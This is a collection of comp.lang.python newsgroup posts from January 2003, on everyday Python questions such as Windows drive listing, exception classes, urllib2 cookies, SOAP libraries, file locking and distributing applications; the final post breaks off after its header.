> Peter Hansen <peter at engcorp.com> wrote in 
> news:3E237953.4C787F46 at engcorp.com:
> 
> > Josh wrote:
> >> 
> >> Is there any way at all to find the clock speed on a Windows box from a
> >> Python module?
> > 
> > Hmmm... is this to use in calculations of some kind, or just for
> > display purposes?
> > 
> > -Peter
> > 
> 
>  Well I just want to display it among other things. Any clue how its done?

I believe you can find that information in the registry under
HKEY_LOCAL_SYSTEM or something... dig around a bit.  I think the registry
key may be called "Mhz", so perhaps try searching for that in regedit?

-Andrew.





From mwh at python.net  Thu Jan 30 06:59:55 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 30 Jan 2003 11:59:55 GMT
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk> <3E37F11C.242D5F11@engcorp.com>
Message-ID: <7h3smvayhkf.fsf@pc150.maths.bris.ac.uk>

Peter Hansen <peter at engcorp.com> writes:

> Michael Hudson wrote:
> > 
> > Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
> > 
> > > I do things like this for some library functions that I create (I
> > > welcome discussion about whether it is a good approach)
> > >
> > > class ArgumentError( Exception ):
> > >     pass
> > 
> > This *is* a good approach (IMHO), but you should consider deriving
> > your exceptions from StandardError instead (I rarely remember to do
> > this, either).
> 
> Why should you do this?

I think I'm mixed up.

> I found the following quote when I searched for "python standarderror",
> from http://web.pydoc.org/1.5.2/exceptions.html#StandardError :
> 
>   "If you define your own class based exceptions, they should be 
>    derived from Exception."
> 
> All of *Python's* exceptions, except SystemExit, are derived from
> StandardError, but the description of StandardError says only 
> "Base class for all standard Python exceptions.".
> 
> Since we're not talking about defining *standard* exceptions, 
> shouldn't we follow the advice in that page?

My idea was that instead of writing

except:

you should mostly write

except StandardError:

so you don't catch SystemExits by mistake.  But it looks like I've
been making things up again, so feel free to ignore my post...

Cheers,
M.

-- 
  Arrrrgh, the braindamage!  It's not unlike the massively
  non-brilliant decision to use the period in abbreviations
  as well as a sentence terminator.  Had these people no
  imagination at _all_?                 -- Erik Naggum, comp.lang.lisp



From dyoo at hkn.eecs.berkeley.edu  Fri Jan 17 19:31:18 2003
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Sat, 18 Jan 2003 00:31:18 +0000 (UTC)
Subject: Newbe: Python Exercise
References: <XUEV9.2900$zH5.176@nwrddc03.gnilink.net> <b07alr$7hl$07$1@news.t-online.com>
Message-ID: <b0a78m$31a2$1@agate.berkeley.edu>

:> Is there any other online book you guys would recommend?

: Personally, I've found the Python Tutorial by Guido van Rossum very good.
: You can find it in the Python Documentation (www.python.org/doc/).


There are a few others on the Newcomers Page that you might like:

    http://python.org/doc/Newbies.html

I personally like Alan Gauld's tutorial, but you should probably
browse through all of them and see which one you like best.


Good luck!



From Dick.Zantow at lexisnexis.com  Thu Jan  2 13:07:47 2003
From: Dick.Zantow at lexisnexis.com (rzed)
Date: Thu, 2 Jan 2003 13:07:47 -0500
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com>
Message-ID: <av1v7k$f2h$1@mailgate2.lexis-nexis.com>

"Tim Daneliuk" <tundra at tundraware.com> wrote in message
news:ert1va.ruj2.ln at boundary.tundraware.com...
> Some time ago, there was a brief thread on how to get a list of
> available drives on Win32.  Peter Hansen suggested the use of:
>
> win32api.GetLogicalDriveStrings()
>
>
> And Ken Seehof suggested:
>
> def drives():
>      d = []
>      for c in string.lowercase:
>          if os.path.exists('%s:/'%c):
>              d.append('%s:'%c)
>      return d
>
>
> In my application, the first solution is not practical because I
cannot
> gurantee the user will have win32api (win32all) installed.
>
> The second solution is perfect, except ... on some machines (and I
> don't know why not on others), the attempt to check for 'a:/' causes
> Windows to present a dialog demanding that you insert a floppy to
> continue.  The bchavior is identical if you use 'a:\\' as the test
> string.  This is a showstopper for my intented use. Does anyone have
> a workaround or a better way to get the drive list?

I'll ask a stupid question: do you need to know whether there are a:
or b: drives on the machine? If not, start from c:.

--
rzed





From BPettersen at NAREX.com  Mon Jan  6 12:55:36 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 10:55:36 -0700
Subject: Panic Memory leaks 
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE96@admin56.narex.com>

> From: sundar raman [mailto:sunram78 at hotmail.com] 
> 
> Hai members,
>         I have been using Python for the few weeks. So I 
> don't want to 
> comment about python. I used Python/C API for developing an 
> extension. I properly made memory management through python 
> memory allocation and 
> deallocation functions such as PY_DECREF.I properly 
> initialized python by 
> PY_initialize and finally deinitialized through py_finalize. 
> But still I am 
> not able to get rid of memory leaks. I even checked the 
> reference counts 
> through quick watch feature of VC++. It shows some
> incredibly high values. I am not able to understand what is 
> going on inside 
> these functions. Please help me to solve this problem.
> Urgent!.

Judging from your capitalization I would guess that you're not getting
the details of the reference counting right. Make sure you know the
difference between borrowed and new references and go through your code
to make sure you're not decref'ing too many times (it sounds like you're
seeing a wrap-around effect, although that doesn't explain the memory
leak). If you need more help, you'll need to debug your program to the
point where you've got only a handful of lines left that still shows the
problem. Then you can post your code. (You can also post it earlier, but
then you're much less likely to find someone with enough free time to
help you <wink>).

-- bjorn

ps: marking something urgent on a newsgroup usually implies an attempt
to make other people do your work. I'm guessing that wasn't the
impression you meant to give...




From phr-n2003b at NOSPAMnightsong.com  Sat Jan 25 14:50:09 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 25 Jan 2003 11:50:09 -0800
Subject: Slurping Web Pages
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
Message-ID: <7xadhp6mby.fsf@ruckus.brouhaha.com>

"Tony Dunn" <tdunn at lynxxsolutions.com> writes:
> I've started a new project where I need to slurp web pages from a site that
> use cookies to authenticate access.  I've used *urllib* in the past to grab
> *public* web pages, but I'm not sure the best way to go about dealing with
> the cookie issue.

You can use urllib2 and set a cookie header:

   request = urllib2.request(url, None, {"Cookie": your_cookie_header})
   page = urllib2.urlopen(request)
   slurped_contents = page.read()




From nilobject at mac.com  Wed Jan 29 16:18:59 2003
From: nilobject at mac.com (Tyson Tate)
Date: Wed, 29 Jan 2003 13:18:59 -0800
Subject: SSH Control Through Python
Message-ID: <4807CDE8-33CF-11D7-9F31-000393DC08EA@mac.com>

I'm looking for some modules or what-not with which I could use to 
connect to a remote host by way of SSH. pyssh looks as though it only 
sends one command. I'd like to be able to log in and send commands as I 
generate them (essentially I'm writing a program that will let me run 
certain shell scripts and other items remotely). I searched google 
groups but I can't seem to find a clear answer.

As always, TIA.

--
Tyson Tate, Editor
Entropy Magazine
"Nourishment For The Starved."
http://www.entropymag.net





From bbull at pathfire.com  Tue Jan 14 09:56:29 2003
From: bbull at pathfire.com (Brian Bull)
Date: 14 Jan 2003 06:56:29 -0800
Subject: Check for file access
Message-ID: <9f363ad9.0301140656.29fe0838@posting.google.com>

I am writing a daemon to monitor file uploads and mirror the files to
another server once they have been uploaded.  The files will be
uploaded via Windows filesharing onto my Redhat server that is running
Samba.  How can I tell when the file is complete and is ready for
copying?

I am using a kernel module called 'changedfiles' that alerts me when a
file is changed.  The only problem is this modules alerts me when the
file operation begins, not when it ends.  The files that will be
uploaded are CD images so they will be very large, so I have to have
some sort of way to "wait" until the file is complete.

I have tried opening the file (with read and write permission), but
that cancels the upload process.  I guess Windows loses the access to
the file once the server grabs it.

I have also tried checking the size of the file, but that doesn't work
because the complete size is reported from the first second the file
is being uploaded.

Any help here would be really appreciated.  If I am not describing
this well, let me know and I will try to elaborate more.



From donnalcwalter at yahoo.com  Thu Jan 23 09:12:32 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Thu, 23 Jan 2003 08:12:32 -0600
Subject: datetime module for Python 2.2
Message-ID: <b0ot5j$9od$1@main.gmane.org>

I am looking forward to using the new datetime module in Python 2.3, but
until there is a stable version of wxPython for 2.3 I must stay with Python
2.2.2.

Is there a pure Python version of the new datetime module (or portions
thereof) that I could use for development on 2.2.2 until I am able upgrade
to 2.3? (Yes, I know it would be slower than the C version, but that's ok
for now.) Thanks.

Donnal Walter
Arkansas Children's Hospital







From rjones at ekit-inc.com  Wed Jan 15 17:59:25 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Thu, 16 Jan 2003 09:59:25 +1100
Subject: portalocker in Win98
In-Reply-To: <b036k3$l72q5$1@ID-71831.news.dfncis.de>
References: <fe35b211.0301140932.62d3d334@posting.google.com> <d6mzv362.fsf@python.net> <b036k3$l72q5$1@ID-71831.news.dfncis.de>
Message-ID: <200301160959.25161.rjones@ekit-inc.com>

On Wed, 15 Jan 2003 7:37 pm, James Kew wrote:
> Thomas Heller wrote:
> > But even they may not be needed, there's the little known msvcrt
> > module included in standard Python, which also has a locking function.
>
> Again, this doesn't support blocking locks -- the docs say it polls for a
> lock 10 times at 1-second intervals before giving up. It also has the
> rather odd property of locking for a range of bytes in the file starting
> from the current file position.

The 10x 1-second rety is probably sufficient. I haven't seen the API, but that 
could probably be wrapped in a "while 1:", yes?


> It'd be nice if Roundup could run on Win98, not least because it was my
> Roundup installation (on NT) that Vic saw, liked, and had evangelised at
> him and it's a little embarassing that he now can't run it...

I agree - I claim Roundup is cross-platform, and it'd be nice if I wasn't 
lying :)


    Richard





From k.robert at gmx.de  Mon Jan 20 05:35:16 2003
From: k.robert at gmx.de (Robert)
Date: 20 Jan 2003 02:35:16 -0800
Subject: Import from zip file?
Message-ID: <19804fd8.0301200235.7febb837@posting.google.com>

What is the easyiest way to import modules/module-trees from zip files (Python 2.2)?

Robert



From tbryan at python.net  Mon Jan  6 00:37:07 2003
From: tbryan at python.net (Tom Bryan)
Date: Mon, 06 Jan 2003 05:37:07 GMT
Subject: Using Red Hat 8.0 and IDLE
References: <3E181D9A.8060702@gmx.net>
Message-ID: <7C8S9.14503$Mb.373715@twister.southeast.rr.com>

Thomas Pichler wrote:

> Is there a way to start IDLE under Red Hat 8.0 without always typing
> [user]$ /usr/lib/python2.2/site-packages/idle/idle.py ? 

Did you try the obvious?
[user]$ idle

In earlier versions of Red Hat, python-tools contained idle and a shell 
script at /usr/bin/idle to start it up.  

As I see, you're using python2.2, the correct command may actually be 
idle2

---Tom




From mhammond at skippinet.com.au  Mon Jan 20 19:39:06 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Tue, 21 Jan 2003 00:39:06 GMT
Subject: Python Programming on Win32 
In-Reply-To: <44UW9.2018$5K5.112342@news20.bellglobal.com>
References: <44UW9.2018$5K5.112342@news20.bellglobal.com>
Message-ID: <KE0X9.10729$m47.35775@news-server.bigpond.net.au>

Sean Ross wrote:
> Hi.
> Does anyone know when/if a new version of O'Reilly's "Python Programming on
> Win32" will be published?
> Thanks,
> Sean

Hopefully yes, and hopefully starting work on it this year.

Mark.




From user at domain.invalid  Tue Jan 28 15:02:13 2003
From: user at domain.invalid (ewalstad)
Date: Tue, 28 Jan 2003 20:02:13 GMT
Subject: Web Services with Python [Newbie]
In-Reply-To: <mailman.1043731429.5000.python-list@python.org>
References: <wInZ9.2011$4r6.866464896@newssvr13.news.prodigy.com> <mailman.1043731429.5000.python-list@python.org>
Message-ID: <9lBZ9.939$0b7.121737361@newssvr14.news.prodigy.com>

Hi Ian,

Unfortunately SOAP *is* a requirement.  I've played with Zope, so I know 
how easy XML-RPC can be.  My client wants to use the SOAP protocol, so 
I'm trying to figure it out.  Do you have any suggestions for SOAP?

I've been doing more digging and it appears that ZSI (Zolera SOAP 
Interface) seems to be the most up to date module available, but I'm not 
certain of that.

Thanks,

Eric.

Ian Bicking wrote:
> On Mon, 2003-01-27 at 22:31, ewalstad wrote:
> 
>>Hi all,
>>
>>I am interested in learning a bit about web services using the SOAP 
>>protocol and would like to do so with Python.
> 
> 
> If SOAP isn't a requirement you should consider XMLRPC, which is
> considerably easier to work with.  There are modules included with
> Python 2.2, and support among Python web frameworks is widespread.




From kevin at cazabon.com  Mon Jan  6 19:51:51 2003
From: kevin at cazabon.com (Kevin@Cazabon.com)
Date: Tue, 07 Jan 2003 00:51:51 GMT
Subject: help with counter
References: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com>
Message-ID: <HwpS9.663289$QZ.98019@sccrnsc02>

IF your source files will always have a number in them like your example, it
should be easy.

1)  break the input filename into pieces so you can extract the number
(filename = string.split(filename, ".") would work for your example)

2)  get the number out of the resulting list:  (filenumber =
string.atoi(filename[1]) for your example)

3)  if the number is divisible by 3 evenly, don't write an output file (you
can add an offset if it's not the right file):  if (filenumber + offset) %3
== 0:  # skip this file

I hope that helps,

Kevin.


"Bill Carter" <BC at energy.com> wrote in message
news:83oj1v8eb814lev3bgtfqjpnpha92des1s at 4ax.com...
> I must have been looking at this problem for to  long, but I need some
> help because I am stuck.
>
> I have a series of files on disk   file.01.txt, file.02.txt ...
> what I am trying to do is rename all the files a new name but also not
> renaming a few files but maintaining the number sequence
>
> for example
>
> #sample command line
> pyrename.py file.01.txt file.400.txt  3 newfile.01.txt
>
> # breakdown
> script name / filename of first file / last filename / drop every 3rd
> file / new filename and start number
>
>
> should produce
>
> file.01.txt     newfile.01.txt
> file.02.txt newfile.02.txt
> file.03.txt
> file.04.txt newfile.03.txt
> file.05.txt newfile.04.txt
> file.06.txt newfile.05.txt
> file.07.txt newfile.06.txt
> file.08.txt
> file.09.txt newfile.07.txt
> file.10.txt ... newfile.08.txt...
>
> the filename changes the amount changes and the file to be dropped
> changes.
>
> For some reason I can't put my head around this problem.  Any help
> would be appreciated.
>
> BC
>
>





From LogiplexSoftware at earthlink.net  Wed Jan  1 19:27:55 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 01 Jan 2003 16:27:55 -0800
Subject: HELP! Must choose language!
In-Reply-To: <yyyhecsfok4.fsf@adams.patriot.net>
References: <20021229230751.24148.00000389@mb-bj.aol.com>
	 <yyyk7hrikh9.fsf@adams.patriot.net>
	 <mailman.1041328146.32598.python-list@python.org>
	 <3E12642D.6382DC5A@alcyone.com>  <yyyhecsfok4.fsf@adams.patriot.net>
Message-ID: <1041467274.1414.17.camel@software1.logiplex.internal>

On Wed, 2003-01-01 at 15:16, Nick Vargish wrote:
> Erik Max Francis <max at alcyone.com> writes:
> 
> > If Java were to be acceptable for commercial usage, what would prevent
> > Python from it?
> 
> I hate to say it, but "managerial mind-share."  Somehow, Java managed
> to break into management thought patterns as something trendy, useful,
> or widespread. The widespread bit is actually becoming a
> self-fulfilling prophecy. 

It's called marketing.  Many (mis)managers read trade journals and
believe what they read.  If I believed everything I've read about java
in these journals, I'd be in comp.lang.java right now.  

> Something that I always find amazing is that there is actually a lot
> of resistence to using any open source software in the commercial
> world. Java actually earns some respect in those circles _because_ it
> is largely the "property" of a single company. I've had a hosting
> company tell me that their network could not be source of a problem we
> were experiencing, because they used "proprietary and very expensive
> software" to configure and monitor it...
> 
> What we need for Python to get commercial attention is for some large
> companies to start charging real money for development environments,
> libraries, and consulting. Then we might see Python take off in the
> commercial sector. Also good would be for some proprietary and very
> expensive software packages start supplying Python APIs or embedding.

Easy solution:  tell them you need $800 to buy the Python development
system.  Download and install Python, pocket the money, tada: everyone's
happy.  They might be even happier if you tell them that they'll have to
fork over licensing fees for every application shipped ;)


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From whisper at oz.net  Sun Jan  5 01:55:17 2003
From: whisper at oz.net (David LeBlanc)
Date: Sat, 4 Jan 2003 22:55:17 -0800
Subject: Distributing Python apps
In-Reply-To: <aMLR9.8636$8M3.1445703@news20.bellglobal.com>
Message-ID: <GCEDKONBLEFPPADDJCOEAEEJHCAA.whisper@oz.net>

> In the end, I request that you very capable Python experts give
> me a way to
> give my customers a 750 KB app.
>
> That's not too much to ask, I think.  It's been done, by every other major
> software company.
>
> Norm
>

But Python isn't a major software company - it's better! Unlike a typical
software company, including Microsoft (or Sun or Oracle or...), there are
not a few to a few dozen working on Python, there are hundreds of dedicated
individuals freely contributing their efforts to making a quality product.
Commercial software ventures can't begin to afford the level of effort and
equivelent cost that Python's cummulative development has taken, including
the 100's of free and unencumbered (i.e. free and freely reusable) addons
and applications that are part of the Python universe. Even the one company
most directly connected with current Python evolution, Digital Creations,
does not charge for the huge coordination effort that's involved in getting
high quality Python distribuitions out on a regular basis.

I've contracted at Microsoft and can tell you that the number of people
assigned to major products for development (not counting marketing,
management, administration, tech support and "evangalism") would stun you in
terms of their relatively tiny numbers. (There's a reason why MS has over
$40 billion in cash reserves and it has nothing to do with getting a quality
product to the consumer!) It's no wonder Steve Ballmar, current CEO of
Microsoft (Gates is currently CTO IIRC), has described Free Software as
Microsoft's biggest enemy.

It's simply not possible to deliver the power, expressiveness and
flexibility of Python in 750kb including your app. There is no high level
language that can do that when a GUI is included and the support code has to
be included in the distribution.

I think people here are ready to assist you in accomplishing what can be
done, but don't have time to spend on what can't. I regret that the answer
you want isn't the one that's available. YOU can give your customers a 750kb
app (if you end up needing that much room!), but the support code is extra
and there's no way around it no matter what avenue you take unless you're
willing to put up with what Microsoft allows you.

David LeBlanc
Seattle, WA USA






From peter at engcorp.com  Tue Jan 21 21:45:00 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 21:45:00 -0500
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <b68f71a7.0301211050.68ab02dd@posting.google.com> <xWmX9.33379$bs2.30006@news2.central.cox.net>
Message-ID: <3E2E05AC.2C136710@engcorp.com>

Steve Holden wrote:
> 
> [to comp.lang.python only, and not all those others]
> 
> "Alan James Salmoni" <alan_salmoni at yahoo.com> wrote in message
> news:b68f71a7.0301211050.68ab02dd at posting.google.com...
> > Allan,
> >
> > Very concise. So what are your pet peeves then?
> 
> Hmmm...
> 
> When an empty post inspires a thread this long I begin to realise why I
> don't have as much time as I used to read c.l.py

To be fair to c.l.p, it's likely only Alan James and myself are 
c.l.p-denizens.  I suspect all the others are cross-posting intruders 
from de.alt.dummschwatz and comp.sys.ibm.pc.games.strategic which 
you just *know* are going to have a strange lot lurking within.

Wait a minute... does that somehow mean I'm on a level with
people named GlennGlenn, mudpuppy, and Sinister Midget ?

Ouch, how low I've come....

-Peter



From mwilson at the-wire.com  Tue Jan 21 13:38:18 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Tue, 21 Jan 2003 13:38:18 -0500
Subject: Newbie question: wxNotebook
References: <3E2D1E57.19CC5FC4@ipm.fhg.de> <b0ju52$1nmi$1@serv.vrn.ru>
Message-ID: <aOZL+ks/KryA089yn@the-wire.com>

In article <b0ju52$1nmi$1 at serv.vrn.ru>,
"Lexy Zhitenev" <zhitenev at cs.vsu.ru> wrote:
>"Markus von Ehr" <markus.vonehr at ipm.fhg.de> ???????/???????? ? ????????
>?????????: news:3E2D1E57.19CC5FC4 at ipm.fhg.de...
>> I want to add a control Panel on the left side.
>> In this Panel I want a Notebook filling the whole available space.
>> Unfortunately the notebook remains very small, too small for placing
>> controls inside.
>> What can I do that the notebook always fills the whole available area,
>> independent of the parents size?

>Yes, sizers and layouts don't work for wxNotebook. I hope it will be fixed
>in the next versions.

   Would wxNotebookSizer work?  I've used it with a tabbed
notebook in a panel in a fairly naive way, and haven't had
any problems like the Orioginal Poster's.

        Regards.        Mel.



From mwm at mired.org  Fri Jan 17 12:47:24 2003
From: mwm at mired.org (Mike Meyer)
Date: Fri, 17 Jan 2003 17:47:24 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com>
Message-ID: <x7el7b4qiv.fsf@guru.mired.org>

jbperez808 at yahoo.com (Jonathan P.) writes:

> Erik Max Francis <max at alcyone.com> wrote in message news:<3E274D34.8F0C4348 at alcyone.com>...
> > "Jonathan P." wrote:
> > > Is there an elegant and
> > > efficient way to iterate through x in
> > > reverse without having to create a reversed
> > > copy of it (i.e. y=x[:]; y.reverse())?
> > 
> > It's not too elegant, but
> > 
> > 	for j in range(len(x) - 1, -1, -1):
> > 	    i = x[j]
> > 	    print i
> 
> This looks like the best bet so far short of using 2.3.
> One thing though, would using xrange instead of range
> be preferable?

Yes, but how efficient is range? Since it creates a list, it has to be
O(N) as well? xrange may solve that one, and certainly cuts down the
space it uses.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From mhearne808 at yahoo.com  Fri Jan 24 01:52:22 2003
From: mhearne808 at yahoo.com (Mike Hearne)
Date: 23 Jan 2003 22:52:22 -0800
Subject: pyrxp tagwrapper
Message-ID: <6af33541.0301232252.7f931ed@posting.google.com>

I'm trying to create an application that uses the pyRXP module by
ReportLab, and I'm having trouble using the TagWrapper utility class
they released in their example xmlutils.py.

Does anyone have:

a) an example using TagWrapper and the XML source file for the
example?

or

b) Something like TagWrapper, that traverses tuple trees easily?

Thanks,

Mike



From gerhard.haering at opus-gmbh.net  Thu Jan 30 02:54:44 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 30 Jan 2003 07:54:44 GMT
Subject: Importing functions from a database
References: <mailman.1043885004.17477.python-list@python.org>
Message-ID: <slrnb3hmf8.lc.gerhard.haering@haering.opus-gmbh.net>

Bjorn Pettersen <BPettersen at NAREX.com> wrote:
> I'd like to be able to semi-transparently load functions from a database
> rather than from a file. I.e. given the following code:
> [...]
> I was hoping someone had allready done this, but my googling didn't
> bring up any obvious candidates... Anyone have any pointers?

http://dustman.net/andy/python/

"""
SQLImport module

Import Python classes from a SQL database

Latest release: 0.0.0 (2001-04-05, Experimental) 
"""

-- Gerhard



From nospam at bigfoot.com  Mon Jan 20 11:56:58 2003
From: nospam at bigfoot.com (Gillou)
Date: Mon, 20 Jan 2003 17:56:58 +0100
Subject: Python Programming on Win32
References: <44UW9.2018$5K5.112342@news20.bellglobal.com>
Message-ID: <b0h8uq$1f1h$1@norfair.nerim.net>

"Sean Ross" <sross at connectmail.carleton.ca> a ?crit dans le message de news:
44UW9.2018$5K5.112342 at news20.bellglobal.com...
> Hi.
> Does anyone know when/if a new version of O'Reilly's "Python Programming
on
> Win32" will be published?
> Thanks,
> Sean
>
>
What features are missing in this actual edition ?

--Gilles






From bryan at pyzine.com  Thu Jan 23 18:07:03 2003
From: bryan at pyzine.com (Bryan Richard)
Date: 23 Jan 2003 15:07:03 -0800
Subject: Python magazine(s)?
In-Reply-To: <b0pkpn$9ft$1@reader1.tiscali.nl>
References: <tdMX9.440$0L3.172774@news2.news.adelphia.net>
	<mailman.1043305901.23880.python-list@python.org> 
	<b0pkpn$9ft$1@reader1.tiscali.nl>
Message-ID: <1043363223.1231.547.camel@p3local>

On Thu, 2003-01-23 at 12:51, GerritM wrote:
> pyzine is a very nice initiative, quality of number 1 was great. 

Thanks.

> From Europe
> it is somewhat difficult to order and pay, which delayed my order for nr 2
> and 3.
> 
> In earlier discussions I favored a price increase. Apparantly more people
> did, the price did increase very significant. What I don't understand is the
> additional price increase for Europe, I don't believe that the
> transportation cost is that much more expensive (USA price=12$, Europe =22$
> per issue, or 40$ vs 75$ for 4 issues).
> 
> regards Gerrit

The shipping costs for international orders of Py are roughly double
what they are domestic. Still, from the outside, that might not merit
the cost increase. The real costs of shipping international are the time
and money spent on lost and returned issues (international mail being
what it is), which we see a lot of, proportional to the number of actual
zines we ship.

There are services in Europe that could handle distribution but their
take can cut to the quick and those margins are partially figured into
the price increase. 

I've said in the past, the price of Py is only high if the content isn't
compelling enough and I still think that still holds true. It's a far
better prospect, in my mind, if we raise the quality of Py to the price
rather than lower the price to the zine. The price increase has allowed
us to double the size of the current issue and, after it we see what
kind of reaction it gets, might allow us to double the size again. 

You can't really look at Py though the lens of a traditional
publication. Most magazines make practically nothing on subscription
fees. All costs are covered with advertising. Py is just the opposite of
that.

Concerning glossy magazines, I doubt you will see a Python magazine pop
up in the States any time soon (certainly not this year). I was involved
in an attempt to launch a new glossy last year with a sizable publisher
and the barriers to entry are just too high right now. And given the
traction that Python has in Europe, you will probably see a German
version before you see one Stateside. As soon as advertisers see Python
users as a marketable audience, that is.

Kendall, our planted post to the list seems to have backfired! ;-)

- Bryan Richard
Publisher & Mail Boy, Py




From BPettersen at NAREX.com  Mon Jan  6 12:29:05 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 10:29:05 -0700
Subject: Distributing Python apps
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE90@admin56.narex.com>

> From: Delaney, Timothy [mailto:tdelaney at avaya.com] 
> 
> > From: Norman Skrzypinski [mailto:zypin at sympatico.ca]
> > 
> > In the end, I request that you very capable Python experts
> > give me a way to give my customers a 750 KB app.
> 
> That type of attitude is only going to get people offside. 
> None of these python experts have time to cater to your 
> specific desires - most don't have time to cater to their 
> own. If you want it done, you will either need to do it 
> yourself, or pay someone else to do it.

Yes, the way he came across in email didn't sound very professional. I'm
assuming that wasn't intentional... His inquiry seems to reveal that
we're missing entry level tutorials for distributing apps (or at the
very least they don't seem to be where he looked)...

> > That's not too much to ask, I think.  It's been done, by
> > every other major software company.
> 
> Python is not developed by a major software company. And most 
> programming environments have considerably larger runtimes - 
> for a *really* bad example, look at Java. Perl is similar in 
> size with its standard library to Python.

Does this mean that you're arguing for bloated executables <wink>?.

> Despite the attitude, here is a link that you may find useful ...
> 
> http://www.pythonapocrypha.com/projects/pyco/

Cool stuff (which I'd never heard of...). Reading the documentation, it
seems like most of the packagers are struggeling with creating the
import graph. I remember packaging a program using PyXML where I had to
manually import the correct parser since PyXML tried to search for and
load the 'best' one available -- so finding the imports isn't trivial
even when your code is... It seems it might be useful to add a module to
the library that emits the graph either through static analysis, or by
logging imports during a run. Static analysis could probably catch 95%
of the imports, and even with run-time logging you might be hosed if you
don't execute the program path that imports a module. If you combine
them I would think you'd get in the 99% range (which I think is quite
acceptable for a language like Python).

It looks like the new import hooks, PEP 302, has been accepted and from
reading the discussion it sounds like it would make it easier to write a
run-time analysis (and also make static analysis harder :-). I must
admit that I haven't studied the implementation enough to appreciate the
finer details yet though so I could be completely off base <wink>. It
would be interesting to hear if the py2exe/Installer/Pyco developers
would find such a module useful, or if they'd rather use their own
handwritten code...? (I'm guessing there are at least a handful of
issues that I haven't even considered <wink>). It would be an
interesting project either way though :-)

-- bjorn




From maxm at mxm.dk  Fri Jan 31 03:54:19 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 31 Jan 2003 09:54:19 +0100
Subject: Implicit lists
In-Reply-To: <3E39FECB.66AB4434@alcyone.com>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <4k1j3v8clvrsg5d2h2nf5u3rqsp4aum3c5@4ax.com> <3E39FECB.66AB4434@alcyone.com>
Message-ID: <XOq_9.48875$Hl6.6191395@news010.worldonline.dk>

Erik Max Francis wrote:

> In dynamically-typed languages like Python, overloading functions (which
> is I presume the crux of where you're doing this test) based on type
> usually isn't a great idea.  Usually it's better to have two
> functions/methods instead.


This is a bad idea in many cases.

Very often you want a function that has this interface:

     def getWhere(options): # options is a list
         "generates query"


it could generate a query like:

     SELECT * FROM table WHERE option='spam' or option='ni'

So the easiest way to do this is to write a function like this:

     def getWhere(options):
         return 'SELECT * FROM table WHERE %s' % ' or '.join(
                ['option=%s' for opt in options])

But frequently you will only call getWhere() with one argument. So 
instead of having to call it like:

     def getWhere(['spam']):
         "generates query"

You want to call it like

     def getWhere('spam'):
         "generates query"

If you do not have polymorphic interfaces you will need to typecheck 
your argument everytime you call the function:

if type(options) == type(''): # I *know* this sucks!
     getWhere([options])
else:
     getWhere(options)

If you want to make 2 functions:

     def getWhereByOne('spam'):
         "generates query"

     def getWhere(['spam']):
         "generates query"

You will need to check if the argument is a list or a string in all the 
code wich calls one of the function.

if type(options) == type(''):
     getWhereByOne(options)
else:
     getWhere(options)

This is no better than the first option.

So the sane approach is to do the check inside the function:

     def getWhere(options):
         if type(options) == type(''): # I *know* this sucks!
             options = [options]
         return 'SELECT * FROM table WHERE %s' % ' or '.join(
                ['option=%s' for opt in options])

This will lead to far the most simple use of the function.

-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From martin at v.loewis.de  Thu Jan 16 11:47:22 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 17:47:22 +0100
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net>
Message-ID: <m3fzrtdoth.fsf@mira.informatik.hu-berlin.de>

maney at pobox.com writes:

> Of course this relies upon nested scopes as written.

This limitation is easy to remove, and the list comprehension a the
same time (OTOH, it relies on lists having a __getitem__):

def unwrap(list):
    return list[0]

def list_to_dict(aList, key_indexes, value_indexes):

    if len(key_indexes) > 1:
        k = tuple
    else:
        k = unwrap
    if len(value_indexes) > 1:
        v = tuple
    else:
        v = unwrap

    res = {}
    for a in aList:
        f = a.__getitem__
        res[k(map(f,key_indexes))] = v(map(f,value_indexes))
    return res

Regards,
Martin



From c1572young at earthlink.net  Sat Jan 11 19:46:47 2003
From: c1572young at earthlink.net (Chris Young)
Date: Sun, 12 Jan 2003 00:46:47 GMT
Subject: Boolean searches of file content.
